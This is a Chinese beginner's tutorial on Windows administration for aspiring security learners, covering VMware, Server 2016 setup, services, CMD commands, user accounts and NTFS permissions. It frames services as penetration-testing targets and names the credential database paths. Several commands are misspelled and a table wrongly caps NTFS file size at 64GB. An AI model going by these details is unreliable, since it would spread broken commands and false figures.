《跟我一起学“网络安全”》——Windows

Windows

一、VmWare介绍及功能使用

  1. VmWare介绍

借助VMwareWorkstationPro,您可以在同一台Windows或LinuxPC上同时运行多个操作系统。创建真实的Linux和Windows虚拟机以及其他桌面、服务器和平板电脑环境(包括可配置的虚拟网络连接和网络条件模拟),用于代码开发、解决方案构建、应用测试、产品演示等。

  1. 可连接到VMwarevSphere

可安全地与vSphere、ESXi或其他Workstation服务器连接,以启动、控制和管理虚拟机 (VM) 和物理主机。常见的VMwarehypervisor可最大限度地提高工作效率,实现与本地PC之间轻松传输虚拟机。

  1. 可针对任何平台进行开发和测试

WorkstationPro支持数百种操作系统,可与云技术和容器技术(如 Docker和Kubernetes)协同工作。

  1. 安全的隔离环境

运行具有不同隐私设置、工具和网络连接配置的第二个安全桌面,或使用取证工具调查操作系统漏洞。Workstation可提供业界最安全的hypervisor之一,还可为IT安全专业人员提供强大功能。

  1. VMware的主界面介绍
  • 第一部份为菜单栏,主要是文件的处理方式、网卡编辑、查看、虚拟机操作、选项卡、相关帮助等功能。
  • 第二部份为常用工具按钮,涉及虚拟机的电源操作、快照拍摄与管理、视图切换等功能。
  • 第三部份为已经安装的虚拟机列表,可以在这个列表选择相应的虚拟机。
  • 第四部份为主页界面,有创建、打开虚拟机,连接远程服务器等功能。
    虚拟机主界面
  1. 创建虚拟机
    创建虚拟机的流程在下一节体现
  2. 虚拟机电源操作

在虚拟机的上方,有一个橙色双竖杠的按钮,点击一下旁边的下三角符,会出现相应的虚拟机电源操作,如关机、重启、挂起等操作。

  1. 发送Ctrl+Alt+Del

虚拟机长时间不操作时,有的操作系统会自动锁屏,并要求发送Ctrl+Alt+Del,可以选择虚拟机的下拉菜单中的发送Ctrl+Alt+Del选项。

  1. NAT、物理桥接、仅主机三种网络连接模式
  • NAT模式

默认是这种模式,NAT是使用VM8的网段,例如VM8的网络是192.168.1.0/24,那么采用NAT方式的虚拟机就是在这个网络范围。在Vmware安装好之后,物理机会多两块网卡出来,VM1/VM8,其中VM8这个网卡是所有采用NAT模式的虚拟机的数据出口,虚拟机之间的通信也是通过它的。

这里注意一下,我们是使用一个新的虚拟网卡,这个网卡可以理解为物理网卡的复制品,但是它所具有的功能是与物理网卡是一样的,通常情况下,我们都使用这种模式。我们可以使用下图来理解:

NAT模式

  • 桥接模式

现在我们关机选择桥接模式,然后开机,测试它的相关功能。它是直接使用真实的物理网卡网络(我这里为192.168.1.0/24)。若是在一个小型的办公网络可以使用这种方式,但是若在一个大的网络中,虚拟机会消耗网络空间的,慎用。若需要访问公网,建议使用NAT模式,我们可以使用下图来理解这种模式:
桥接模式

  • 仅主机模式

这个是可以与物理机的VM1网卡通信的,但是不能访问网络,它与NAT的区别在于,NAT可以访问外网,但是仅主机模式无法访问外网,其他的功能都是一样的。我们可以使用下图来理解这种模式:
仅主机模式
注意:有时候我们发现,物理机与虚拟机同一个网络之内他们也不能通信,这里很容易忽略的一个问题,没有关闭防火墙。

二、WindowsServer2016的安装

  1. WindowsServer2016的简介

(WindowsServer2016,它可以理解为服务器版的Windows10,宣告整个核心架构定型稳定。WindowsServer2016是微软推出的第六个WindowsServer版本,也是Windows10的服务器版本。该版本在拓展安全性、弹性计算、缩减存储成本、简化网络、应用程序效率和灵活性等方面有明显改善。

WindowsServer2016带来了大量新功能,关键功能如下:

拓展安全性: 引入新的安全层,加强平台安全性,规避新出现的威胁;

弹性计算: 启用新的安装选项并增加弹性,帮助用户在不限制灵活性的前提下确保基础设施的稳定性;

缩减存储成本: 提升应用程序效率和灵活性。

镜像下载地址(迅雷下载):WindowsServer2016镜像

  1. WindowsServer2016的安装步骤
  • 打开VmWare,新建虚拟机,选择自定义安装
    安装1
    默认两次下一步,选择版本为WindowsServer2016
    安装2安装3

  • 选择自己要安装到的文件位置
    安装4

  • 固件类型BIOS
    安装5

  • 一直默认下一步到此页面,点击完成
    安装6

  • 回到虚拟机主界面,点击“编辑虚拟机设置”,将新CD/DVD改成事先准备好的ISO镜像
    安装7安装8
    后面就是系统的安装了,按照步骤走就行

  • 点击开启此虚拟机 等待一会,默认下一步,点击现在安装

  • 如果需要输入密钥,选择我没有产品密钥

  • 进入此页面,选择第四个(WindowsServer2016Datacenter(桌面体验)x64)。默认两次下一步

  • 选择自定义:仅安装。默认下一步

  • 等待几分钟后会跳至这个页面,输入自己的密码(密码需要数字、大写英文、小写英文)例如:ygYGBG372s1

  • 点击完成,输入自己的密码

  • 完成安装

  1. 安装虚拟机Vmware-tool工具

右击虚拟上方相应的虚拟机标签,选择安装Vmware-Tools,安装了Vmware-tool工具后,可以直接从物理机拖拉数据进虚拟机,也可以看到更大的屏幕,然后直接点进D盘点setup.exe默认安装就好了。

三、WindowsServer2016的常见服务

服务名称:Dhcp
显示名称:DHCP Client
描述:为此计算机注册并更新 IP 地址。如果此服务停止,计算机将不能接收动态 IP 地址和 DNS 更新。如果此服务被禁用,所有明确依赖它的服务都将不能启动。

服务名称:Dnscache
显示名称:DNS Client
描述:DNS 客户端服务(dnscache)缓存域名系统(DNS)名称并注册该计算机的完整计算机名。如果该服务被停止,将继续解析 DNS 名称。然而,将不缓存 DNS 名称的查询结果,且不注册计算机名。如果该服务被禁用,则任何明确依赖于它的服务都将无法启动。
这里列举了两个最常用的服务,其他服务当用到的时候,可自行查阅。

四、Windows基础

  1. Windows简介

Microsoft Windows是美国微软公司以图形用户界面为基础研发的操作系统 ,主要运用于计算机、智能手机等设备。共有普通版本、服务器版本(Windows Server)、手机版本(Windows Phone)、嵌入式版本(Windows PE)等子系列,是全球应用最广泛的操作系统之一。
Microsoft Windows于1983年开始研发,最初的研发目标是在MS-DOS的基础上提供一个多任务的图形用户界面,后续版本则逐渐发展成为主要为个人电脑和服务器用户设计的操作系统,并最终获得了世界个人电脑操作系统的垄断地位。

  1. Windows标准界面介绍
  • 窗口布局
    记事本窗口
  • 认识文件和文件夹
    文件名的长度:最长256个字符(含路径、不区分大小写),根目录下255个字符
    文件名特色字符,不允许使用:
    ■ / \ < > | " : ? *
    ■ com0-com9,lpt0-lpt9,prn,aux,nul,con
  1. Windows磁盘管理

在“此电脑”单机鼠标右键,“显示更多选项”中找到“管理”,然后选择“磁盘管理”。

基本磁盘的盘符受26个字母控制。

  • 主(磁盘)分区
    ○ 可以存放引导文件的分区
    ○ 最少一个,最多四个

  • 扩展磁盘分区
    ○ 用来存储数据,无法启动操作系统
    ○ 扩展分区最少0个,最多一个

  • 逻辑分区
    ○ 扩展分区无法直接使用,创建为逻辑分区后才可以使用。

  • 磁盘分区

diskpart,回车 
select disk 0,回车 
create partition primary size=?M,回车 
创建扩展分区的命令:
create partition extend,回车
  • 压缩磁盘分区
    使已有的磁盘分区分出空间

  • 扩展磁盘分区
    将未分配的磁盘空间纳入到自己分区下
    只有NTFS分区才可以扩展分区
    空间必须是连续的,且未使用空间必须在欲扩展分区的后面

  • 删除磁盘分区
    将磁盘分区及内部所有的数据全部删除。

  • 格式化的含义和类型
    格式化是对磁盘和磁盘的分区进行初始化的一种操作。
    格式化分为低级格式化和高级格式化。

  • 低级格式化:
    ○ 将磁盘内容清空,恢复出厂状态,划分出柱面和磁道,再将磁道划分若干个扇区,每个扇区划分出标识部分、间隔区和数据区。
    ○ 每块磁盘出厂时已由厂家进行低级格式化处理,厂商建议用户自己不要进行低级格式化处理,除非出现磁盘某种类型的坏道时,使用低级格式化起到一定缓解或者屏蔽作用。

  • 高级格式化
    ○ 分为普通格式化和快速格式化
    ○ 不会真正的删除数据,普通格式化会检查磁盘坏扇区,快速格式化不会检查。

  • 文件系统进行格式化
    ○ FAT16:单个文件最大支持2G;
    ○ FAT32:单个文件最大支持4G;
    ○ NTFS:单个文件最大不受限制。

  • 无损转换文件系统
    covert 盘符:/fs:ntfs
    格式化

  • 盘符与卷标
    修改盘符:C盘的字母C即为盘符,盘符可以修改、删除、增加。
    更改卷标:磁盘旁边的文字称为卷标。

  • 虚拟内存的含义和作用
    计算机中所运行的程序均需经由内存执行,若执行的程序占用内存很大或很多,则会导 致内存消耗殆尽。为解决该问题,Windows 中运用了虚拟内存技术,即匀出一部分硬盘空间 来充当内存使用,也称为页面文件。
    虚拟内存在硬盘上其实就是一个文件,文件名是 PageFile.Sys,通常状态下是看不到的。(隐藏文件)

  • 设置虚拟内存大小

鼠标右键“此电脑”,选择“属性”,搜索“查看高级系统设置”
系统属性
性能选项
虚拟内存

  1. 微机的部件与连接
    微机的主要外设有显示器、键盘、鼠标器、打印机和扫描仪等,这些外部设备承担了系统数据的输入输出工作。 外设通过各种接口与计算机主板相连,在启用时还需要安装相应的驱动程序。 主板(mainboard)是电脑中最大的一块电路板,上面布满了各种插槽、接口、电子元件。 主板就像电脑的神经系统。 现代的主板性能是由其芯片组确定的。
  • PCI(Peripheral Component Interconnect)
    ○ 外设部件互连标准接口。
  • AGP(Accelerate Graphical Port)
    ○ 加速图形接口,专门为显卡设计。
    微机主板1
    微机主板2
    微机主板3
  1. BIOS与CMOS
  • BIOS的含义
    BIOS(Basic Input & Output System):基本输入输出系统,或称为(ROM-BIOS),意思是只读存储器输入输出系统。
    BIOS是主板的一块ROM芯片,里面装有系统的重要信息和系统参数的设置程序(BIOS Setup 程序)
  • CMOS的含义
    Complementary Metal-Oxide Semiconductor(互补金属氧化物半导体),是一种应 用于大规模集成电路芯片制造的原料。
    CMOS是计算机主板上的一块可读写的RAM芯片,里面装有当前系统的硬件配置 和用户对某些参数的设定
    计算机系统在加电开机时要读取CMOS信息,用来初始化机器各个部件的状态。
    CMOS由主板上的CMOS电池供电,因此无论是在关机状态,还是遇到系统掉电的情况,CMOS信息都不会丢失。
  • BIOS与CMOS的区别与联系
    BIOS中的系统设置程序是完成CMOS参数设置的手段;CMOS既是BIOS设定系统参数的存放场所,又是BIOS设定系统参数的结果。
    概括两者的关系:“通过BIOS设置程序对CMOS参数进行设置”。
  1. C盘根目录常见文件夹
  • Documents and Settings/用户: Windows 11 中的“用户”文件夹其实就是XP中的Documents andSettings文件夹,这里储存了用户的设置,包括用户文档、上网浏览信息、配置文件等数据。
  • Downloads: 这通常是下载软件的默认下载路径,建议修改软件设置改到其他硬盘分区。
  • Drivers: 部分驱动程序的文件夹。
  • Favorites: 收藏夹。
  • Program Files: 应用程序文件夹,一般软件默认都安装在这里,也有一些系统自带的应用程序。在Windows7系统中,64位用户会多出一个Program.Files (X86)文件夹,这是系统中32位软件的安装目录。
  • Program Data: Windows 7的系统文件夹,放置程序的使用数据、设置等文件,不建议删除。
  • Windows: 存放操作系统主要文件,非常重要。
  • Temp: 存放系统或其他软件临时文件,需经常清理。
  • hiberfil.sys: 系统的休眠功能所占用的硬盘空间的文件,不建议删除。
  • pagefile.sys: 虚拟内存页面文件,不建议删除。
  • Perflogs: Windows Vista或Windows 7系统日志,记录如磁盘扫描错误等信息,没有必要删除。
  1. Documents and Settings/用户 常见文件夹
  • 默认情况下位于系统分区根目录下,其下包括:
    Administrator、All Users、Default User、用户文件夹等。All Users针对所有用户,这里的更改对所有用户有效,Administrator针对系统管理员账户。
    桌面
    「开始」菜单
    Application Data: 通用应用程序数据文件夹。
    Favorites: 收藏夹。
    Local Settings: 保存应用程序数据、历史和临时文件,可清理。
    My Documents: 我的文档
    NetHood: 网络共享目录。
    PrintHood: 打印共享目录。
    Recent: 最近打开的文档。
    SendTo: 鼠标右键的“发送到”。
    Templates: 存储着常用程序的模板文件。
    Temp: 临时文件目录,在系统和软件的运行过程中产生的临时文件就存放于此。
    Temporary Internet Files: IE 下载文件的缓存
  1. Program Files 常见文件夹
  • Common Files: 共用程序文件夹,用于同系列不同程序软件共同使用或调用数据,比如微软和Adobe的各种软件
  • ComPlus Applications: 微软COM+组件使用的文件夹,删除后可能引|起COM+组件不能运行。
  • DIFX: DIFX是一-种高效的XML索引方法,此文件夹与数据索引有关,不可以删除。
  • Internet Explorer: 系统自带的IE浏览器,删除后可能导致部分程序不能正常运行。
  • InstallShield Installation Information: 专门存储安装程序信息的文件夹,用于某些程序的卸载和更新。
  • MSECache: MS Office运行时自动创建。
  • MSXML 6.0: 微软XML解析器程序的文件夹。
  • microsoft frontpage: FrontPage是微软推出的一款网页设计软件,此文件夹通常为空。
  • Movie Maker: 系统自带的一款视频编辑软件。
  • MSNGamingZone: 一些系统自带的扑克牌等小游戏,可以删除。
  • Netmeeting: 系统自带的网上聊天软件。
  • Outlook Express: Outlook Express是Windows内置的邮件收发端,不用可删。
  • Online Services: 网络服务文件夹,不能删。
  • Windows Media Player: 系统自带的一款多媒体播放器。
  • WinRAR: 款流行的压缩解压缩软件。
  • Xerox: 用作自带的一些图像处理软件的临时空间,文件夹不能删除,但通常为空。
  1. Windows 关键文件夹
  • C:\Windows
    ○ Windows操作系统中最核心的文件夹,大部分系统文件都在此文件夹下
  • C:Windows\Fonts
    ○ 字体文件夹。有些病毒会存放在此文件夹下。
  • C:Windows\System32
    ○ Windows文件夹中最重要的文件夹,一般用于存放Windows的系统文件和硬件驱动程序。
  • C:Windows\Temp
    ○ 系统临时文件夹,有些病毒会存放在此文件夹下。
  • C:Windows\system32\dirvers
    ○ Windows驱动文件夹,有些驱动病毒存放会在此文件夹下。
  1. Windows 服务简介
  • 简介:几乎所有的操作系统在启动的时候都会启动一些不需要与用户交互的进程,这些进程在Windows中就被称作服务。
  • 学习目的:利用计算机运行的程序,在渗透测试时攻击系统。
  • 服务的特点:①系统自动开启 ②不需要和用户交互 ③可长时间运行
    a. 两种程序:
    ■ 进程:进行的程序
    ■ 服务:后台运行的程序
  • 服务的管理:①用命令行管理 ②通过SCM管理
  • 怎么编写服务程序:①c++ ②c#
    ○ 注意服务的程序有特殊的格式(eg:在cmd.exe中不能运行)
  • 对服务的操作:启动/停止/配服务/查服务
  1. SCM 服务控制管理器
  • SCM控件面板可通过控制面板|系统和安全|管理工具|服务访问。
  • Windows服务控制管理器(SCM)负责配置服务,启动和停止它们。
  • 它显所有配置服务的名称、说明、状态、启动类型和用户名称的列表。
    服务
  1. 三种类型
  • Local System(本地系统)
    ○ 【【思路】】 这是hacker攻击的目标,攻击时不攻击系统程序(如更新服务)
    ○ 以Local System账户运行的服务主要有:
    ①Windows Update (Windows 更新)
    ②Com+(管理基于组件对象模型 (COM+) 的组件的配置和跟踪)
    ③Messenger Service (支持短信及相关功能)
    ④Task Scheduler (在此计算机上配置和计划自动任务)
    ⑤Server (支持此计算机通过网络的文件、打印、和命名管道共享)
    ⑥Windows Installer (添加、修改和删除作为Windows Installer 程序包(. msi、 msp)提供的应用程序)
  • Network service(网络服务)
    ○ eg:①DNS服务
  • Local Service(本地服务)
    ○ Local Service 账户是预设的拥有最小权限的本地账户,并在网络凭证中具有匿名的身份。
    ○ 注意运行于此账户下的进程和运行于Network Service账户下的进程的区别,在于运行Local Service账户下的进程只能访问允许匿名访问的网络资源。
    ○ eg:①DHCP服务
  1. 相关的CMD命令
  • net —— 只能启动停止服务,不能配查。
    net 用于打开没有被禁用的服务,语法是:
net start 服务名		——启动服务
net stop  服务名		——停止服务
  1. 进程与线程
    进程通常被定义为一个正在运行的程序的实例,当你运行一个程序,你就启动了一个进程。进程又分为系统进程和用户进程。系统进程主要用于完成操作系统的功能,而QQ、Foxmail等应用程序的进程就是用户进程。
    线程通常在一个进程中可以包含若干个线程,它们可以利用进程所拥有的资源,在引入线程的操作系统中,通常都是把进程作为分配资源的基本单位,而把线程作为独立运行和独立调度的基本单位,由于线程比进程更小,基本上不拥有系统资源,故对它的调度所付出的开销就会小得多,能更高效的提高系统内多个程序间并发执行的程度。

  2. Windows 服务器常见进程

  • System ldle Process.exe: 系统进程,它的作用是显示系统有多少闲置的cpu资源。
  • svchost Service Host Process: 是一个标准的动态连接库主机处理服务。Svchost用来启动服务。Svchost只是负责为这些服务提供启动的条件,其自身并不能实现任何服务的功能,也不能为用户提供任何服务,经常会被病毒利用进行dll注入的进程。
  • explorer.exe: 用于控制Windows图形,包括开始菜单、任务栏,桌面和文件管理。
  • lsass.exe: 系统进程这是一个本地安全权限服务管理进程详解:管理IP安全策略以及启动ISAKMP/Oakley(IKE)和IP安全驱动程序。
  • services.exe: 系统进程用与管理启动和停止Windows服务,该进程也管理计算机启动和关机时的运行的服务,所以很重要。
  • alg.exe: 这是一个应用层网关服务。用于网络共享,alg.exe是微软Windows操作系统自带的程序。它用于处理微软Windows网络连接共享和网络连接防火墙。

五、WindowsPE介绍

  • WinPE简介
    Windows Preinstallation Environment(Windows PE),Windows预安装环境,微软在2002年7月22日发布,带有限服务的最小Win32子系统,基于以保护模式运行的Windows XP Professional内核。
    Windows预先安装环境(Microsoft Windows Preinstallation Environment,简称Windows PE或WinPE)是简化版的Windows XP、Windows Server 2003、Windows Vista、Windows 7 、Windows 8和Windows 10。WinPE是以光盘或其他可携设备作媒介。WinPE作用是方便大企业作出工作站和服务器的企划、给“原始设备制造商”(OEM)制造自定义的Windows操作系统、
    win PE 是轻量化的windows,住在U盘里,易被修改,用于维护电脑。磁盘损坏或系统发生故障可以用PE进行提取文件。PE分不同的版本,基于内核不同。
  • WinPE的功能
  • 计算机无法开机时,进行数据救援。 由于计算机无法开机时,你在计算机里的重要数据就无法复制出来,这时解决的方法之一,就是可以利用WinPE光盘开机,然后进入到WinPE时,再将计算机重要的数据复制出来。
  • 计算机中毒,病毒/木马程序因锁定而无法删除。这种状况也是常发生,有一些病毒会因为在「执行中」或「被系统锁住」,导致我们既无法终止程序,也无法删除程序,这时只要确定木马或病毒程序的位置,就可以利用WinPE光盘开机,然后再到硬盘的那个位置,将这些恶意软件给删除掉。
  • 全新安装Windows系统,进行分区和系统安装。 重新安装系统前,我们可能需要事先对硬盘全部格式化并重新分区,或者对原来硬盘分区空间进行调整(例如把C盘调整到100GB等),然后使用WinNTSetup快速安装系统,节约时间
  • WinPE应用案例
    当我们系统坏了的时候最简单的方法就是重装系统,重装系统时候会格式化我们的C盘,但是有的朋友没有分盘区,或者C盘有重要资料,但是咱们又无法进入系统拿走我们的东西,这时就需要winPE系统进入来将我们的资料拿出,PE系统目前来说网上很多,用起来非常方便,但是广告非常多,像老毛桃、大白菜就是PE系统。

六、Windows常用DOS命令

  • DOS简介

  • DOS 是一个早期的操作系统,现在已经被 Windows 系统取代,对于开发人员,需要在 DOS 中完成一些事情,因此就需要掌握一些必要的命令。
    DOS : Disk Operating System 磁盘操作系统, 简单说一下 Windows 的目录结构

  • 主要包括目录操作类命令、磁盘操作类命令、文件操作类命令和其它命令。

  • 大多数默认的 DOS命令对应目标程序大多在“C:/Windows/”及“C:/Windows/System32”目录下。

  • DOS命令的执行方式 一般的是通过调出CMD控制台执行 对于较熟悉的可以自行编写bat批处理DOS命令,然后保存为 .bat 后缀格式文件。

  • 怎么使用DOS-调出cmd
    (1)键盘输入 “win+R”,呼出 运行窗口。
    (2)在输入框 输入“cmd”命令,确定调出 cmd命令窗口。

  • DOS基础命令

dir命令

--查看当前所在目录的文件和文件夹
dir
--查看当前目录以及其所有子目录的文件和文件夹
dir /s
--查看包括隐藏文件的所有文件
dir /a
--只查看隐藏文件
dir /0ah
--以紧凑方式(一行显示5个文件)显示文件和文件夹
dir /w
--以分页方式(显示一页之后会自动暂停)显示
dir /p
--|”重定向符号,就是把一个命令的结果输出为另一个命令参数。more也是命令, dir /w |more 与 dir/w /p的结果一样。
--其他参数可用 dir /? 查看

cd命令

--进入d盘
cd /d d:
--退回到根目录
cd \
--退回到上一级目录
cd ..
--进入指定目录
cd 目录名

md命令

--创建特定文件夹,不能创建文件
md 目录名

rd命令

--删除特定的文件夹
rd 目录名

copy命令

--把一个文件拷贝(复制)到另一个地方
copy 路径\文件名 路径\文件名

move命令

--把一个文件移动(剪切)到另一个地方
move 路径\文件名 路径\文件名

del命令

--删除一个文件
del 文件名
--删除当前文件夹下所有文件
del *.*
--del不能删除文件夹

format命令

--格式化一个分区
format x

type命令

--显示文本文件的内容
type 文本文件名.后缀名
--解决中文乱码
chcp 65001

ren命令

--修改文件名
ren 旧文件名 新文件名
  • 网络命令

ping命令

--向目标主机发送4个icmp数据包,测试对方主机是否收到并响应,一般常用于做普通网络是否通畅的测试。但是ping不通不代表网络不通,有可能是目标主机装有防火墙并且阻止了icmp响应。 
ping 主机ip或名字
--不停的发送数据包。当然都很小,不能称作攻击。有些人自己写 了一些类似于ping命令的程序,不停的发送很大的数据包,以阻塞目标主机 的网络连接。 
ping -t

net命令

--查看共享
net view \\主机
--启动服务
net start 服务名 
--停止服务
net stop 服务名
--更多命令查看
net /?

netstat命令

--显示套接字内容的命令
netstat 主机
--a:不仅显示正在通信的套接字,还显示包括尚未开始通信等状态的所有套接字n:显示 IP 地址和端口号o:显示使用该套接字的程序 PID
netstat -ano

nbtstat命令

--查看主机使用的NetBIOS name
nbtstat 主机

tracert命令

--查看从自己的主机到目标主机经过的路径
tracert 主机

pathping命令

--显示tracert不能显示的信息
pathping 主机

ftp
字符方式的ftp客户端

telnet
字符方式的远程登录程序

ipconfig命令

--网络配置
ipconfig
--详细的信息
ipcofig /all
--释放当前ip
ipconfig /release
--重新申请ip
ipconfig /renew
--刷新dns缓存
ipconfig /flushdns
--重新在dns服务器上注册自己
ipconfig /registerdns

arp命令
arp缓存是用来存储ip地址和mac地址的映射关系的临时表

--操作当前的arp缓存
arp
--显示arp缓存
arp -a
--删除一条缓存记录
arp -d
--添加一条缓存记录
arp -s

nslookup命令
nslookup是一种网络管理命令行工具,主要用于诊断域名系统(DNS)基础结构的信息。它可以用来查询DNS的记录,验证域名解析是否正常,以及在网络故障时帮助诊断网络问题。nslookup命令有两种工作模式:交互模式和非交互模式。在交互模式下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表;而在非交互模式下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。

nslookup
  • DOS外部命令
--打开控制面板
control
--远程桌面
mstsc
--画图
mspaint
--记事本
notepad
--计算器
calc
--注册表
regedit
--服务
services.msc
--防火墙
firewall.cpl
--截图工具
snippingtool
--屏幕键盘
osk
--任务计划程序
taskschd.msc
--系统配置
msconfig
--注销命令
logoff
--网络连接
ncpa.cpl
--600s后自动关机
shutdown -s -t 600
--取消定时关机
shutdown -a
--600s后自动重启
shutdown -r -t 600
--查看端口进程
netstat -ano|findstr 9003
--杀死进程
taskkill /F /PID 14404 杀死进程

七、Windows用户管理

1. windows用户的概念:
所谓用户账户,就是计算机使用者的身份凭证。windows是多用户操作系统,可以一台电脑上建立多个用户账号,不同用户使用不同的账号登录,尽量减少相互之间的影响。
2. 用户账户的分类:
在windows里,每个用户登录系统后,拥有不同的操作系统权限。在系统里windows给内置了一些账户。比如administrator–管理员账户,guest–来宾账户,该账户的权限很小,这些是给人使用的。windows还内置了一些账户,它们不是给人使用的,比如,system,系统账户,这个账户权限全系统最高,比管理员还高一些,local services,本地服务账户,权限仅等于普通用户。
3. 内置用户账户:
在安装系统时一起安装的用户账户,通常有Administrator和Guest。Administrator: 是系统管理员,又称超级用户。对系统中全部控制权,管理计算机的内置账户,不能被删除和禁用。Guest: 来宾用户,供那些在系统中没有个人账户的来客访问的计算机临时账户,此用户是默认被禁用的状态,以确保网络安全,它也不能被删除,但是可以改名和禁用。

4. 本地用户账户:
创建于非域控制计算机,只能在本地计算机上登录,无法访问域中其他计算机资源。本地用户信息存储在本地安全数据库当中(sam)数据库:

c:\windows\system32\config\sam

5. 域用户账户:
创建于域控制器计算机,可以在网络中任何计算机上登录。域用户信息保存在活动目录中(活动目录数据库):

c:\windows\NTDS\ntds.dit

登录名是由用户前缀和后缀组成,之间用@分开,如:Tom@sdfsdf.com
6. 创建本地用户
注意:这节里的指令,必须是管理员身份才可以执行

--创建用户
net users test 123 /add
--查看用户
net users

创建本地用户的规则:

  • 用户名:
    用户名最长20个字符,不区分大小写,可以使用中文
    可以使用一些特殊符号“ / \ [ ] : ; | = , + * ? < >
    命名规则:用户的英文名或者姓名拼音
  • 全名和描述:
    可以输入一些员工的个人信息和公司信息,如姓名和部门等
  • 密码和确认密码:
    密码的最大长度可以达到127位
    密码的设置不应过于简单,应该使用字母、数字以及特殊符号的组合

管理本地用户的主要操作:

  • 本地用户修改密码
net user username password
net user test test123
  • 删除本地用户
net user username /del
net user test /del
  • 禁用账户
net user username /active:no
  • 激活账户
net user username /active:yes
  • 本地组的概念:
    组是账户的集合
    方便管理,例如赋权:当一个用户加入到一个组以后,该用户会继承组所有权限,一个用户账户可同时加入多个组。
  • 本地组的创建:
    ①.右键“我的电脑 - 管理”,打开“计算机管理”对话框,展开“本地用户和组”。
    ②.右键“组”,打开“新建组”对话框,输入“组名”。组名最好使用英文字符以方便管理,并在“描述”中输入一些描述信息以方便识别该组,描述信息可以使用中文。
    ③.“新建组”下方有一个显示成员的列表框,我们可以单击“添加”按钮为该组添加成员,也可以等以后需要时再添加,这里暂时不添加用户,点击“创建”按钮完成新建组,并单击“关闭”按钮关闭该对话框。
  • 本地组管理
    ①.右键打开新建的用户组的属性,依次点击“添加-高级-立即查找”,查找并选中四个小组的用户账户,单击“确定”按钮,此时用户组中即包含四个小组的用户账户,点击“应用-确定”即完成用户组的成员添加;
    ②.任意打开某小组用户账户的属性,切换到“隶属于”选项卡,可以发现该账户已经隶属于的组名;
    ③.要删除组,可右键该组,在弹出的快捷菜单中选择“删除”,在弹出的警告对话框中点击“确定”按钮即可;
    ④.要重命名用户组,可右键该组,在弹出的快捷菜单中选择“重命名”,直接为组输入新的名字并按回车键即可。

八、NTFS权限管理

  1. 文件系统概述
    文件系统概念:即在外部存储设备上组织文件的方法
    windows常见的文件系统:FAT、FAT32、NTFS
文件系统NTFSFAT32FAT16
适用OSNT及以后95及以后DOS/所有OS
最大文件64GB4GB2GB
最大分区2TB32GB2GB
文件名长度2552558个字符
域管理支持不支持不支持
数据压缩支持不支持不支持
数据加密支持不支持不支持
磁盘配额支持不支持不支持
  1. NTFS权限概述
  • NTFS简介
    ①.NTFS和FAT32文件系统在结构上几乎是完全不同的两种文件系统, NTFS自身具有很多新的特征,比如安全性、容错性、文件压缩和磁盘配额等,都是相对其他系统特殊的地方。NTFS分区主要由引导扇区、主文件表(Master File Table,MFT)、系统文件和文件存储区域等4个部分组成。NTFS(New Technology File System)是Windows NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式,提供长文件名、数据保护和恢复,能通过目录和文件许可实现安全性,并支持跨越分区。
    ②.NTFS是一个日志文件系统, 这意味着除了向磁盘中写入信息,该文件系统还会为所发生的所有改变保留一份日志。这一功能让NTFS文件系统在发生错误的时候(比如系统崩溃或电源供应中断)更容易恢复,也让这一系统更加强壮。在这些情况下,NTFS能够很快恢复正常,而且不会丢失任何数据。在很少出错情况下,微软表示你需要运行CHKDSK修复程序来对磁盘卷进行维护的概率特别低,其概率不到1%。
  • NTFS所以被广泛应用,除了因为Microsoft公司本身在操作系统市场的绝对优势,其本身也具有诸多优点:
    ①.NTFS中的所有文件是以key-value的形式存储和组织的, 能够迅速地通过文件属性key来寻找和定位任意文件的value值,提高了操作系统对文件数据的处理效率。
    ②.为系统文件或重要文件建立安全描述符, 凡是通过操作系统或API对文件进行修改和破坏的行为,都受到操作系统的保护。近年来出现的绕过操作系统或者直接访问硬件磁盘闪存等行为,暂时不能通过文件系统进行保护。
    ③.NTFS不绑定某个硬件磁盘扇区, 当发现磁盘受到破坏或无法读取数据时,将通过操作系统相关机制对扇区或卷进行复位。文件系统的这种独立性,使得NTFS本身具有更高的安全性。
    ④.具有可扩容的卷空间。 操作系统将所有数据按照文件的形式存储和统一管理,目的之一是实现连续数据的非连续存储。在不对信息进行分类区分而是统一管理下,卷的状态和管理更加容易进行管理。
  • NTFS文件系统的特点
    ①.提高磁盘读写能力
    ②.可靠性
    加密文件系统
    访问控制列表(设置权限)
    ③.磁盘利用率
    压缩
    磁盘配额
    ④.支持单个文件大于4个G
  • 获取NTFS文件系统的方式
    ①.格式化磁盘
    格式化磁盘时,会有文件系统选项,在文件系统选项中选择NTFS格式,格式化完成后就会获得NTFS文件系统。
    格式化②.将FAT文件系统转换为NTFS文件系统
    使用win + R或者开始菜单中选择运行 在输入框中输入转换命令

convert c: /fs:ntfs
运行

  1. 管理NTFS权限
  • NTFS权限含义
    NTFS文件系统可以针对不同用户和组设置各种访问权限,只有被授予权限的用户或组才能访问“安全”选项卡。
文件权限文件夹权限
完全控制完全控制
修改修改
读取和执行读取和执行
读取读取
写入写入
列出文件夹目录
  • 继承/取消继承权
    作用:取消后,可以任意修改权限列表了。
    方法:文件夹右键属性—安全—高级—去掉第一个对号–选择复制或删除均可。

  • 权限累加
    当用户同时属于多个组时,权限是累加的。
    案例:用户a同时属于IT组与HR组,IT组对文件夹test可以读取,HR组可以对test文件夹写入,则a用户最终的权限为读取和写入。

  • 拒绝最大
    当用户权限累加时,如遇到拒绝权限,拒绝最大。
    案例:用户aaa属于财务部组,财务部组成员为10个用户,财务部组拥有对文件夹xxx访问权限,现要求aaa用户不能脱离财务部组,同时要求aaa没有访问文件夹xxx的权限。
    分析:组具有权限,而用户却具有的是拒绝,这样的就可以了。

  • 取得所有权
    默认只有administrator有这个权限!
    作用:可以将任何文件夹的所有者改为administrator。
    案例:用户aaa已离职,但aaa文件夹的属主是aaa,由于aaa用户对aaa文件夹做过权限修改,导致其他用户对aaa文件夹没有任何权限,现需要管理员administrator用户将aaa文件夹重新修改权限。

  1. 移动和复制对NTFS权限的影响
  • 文件复制对权限的影响
    文件复制后: 文件的权限会被目标文件夹的权限覆盖。
    文件移动后: 如果在同一磁盘下,文件权限保留原有权限,并不会被目标文件夹覆盖,不在同一磁盘下,文件权限被目标文件夹的权限覆盖。
NTFS分区移动复制
相同分区保留原来权限继承目的地文件夹的权限
不同分区继承目的地文件夹的权限继承目的地文件夹的权限

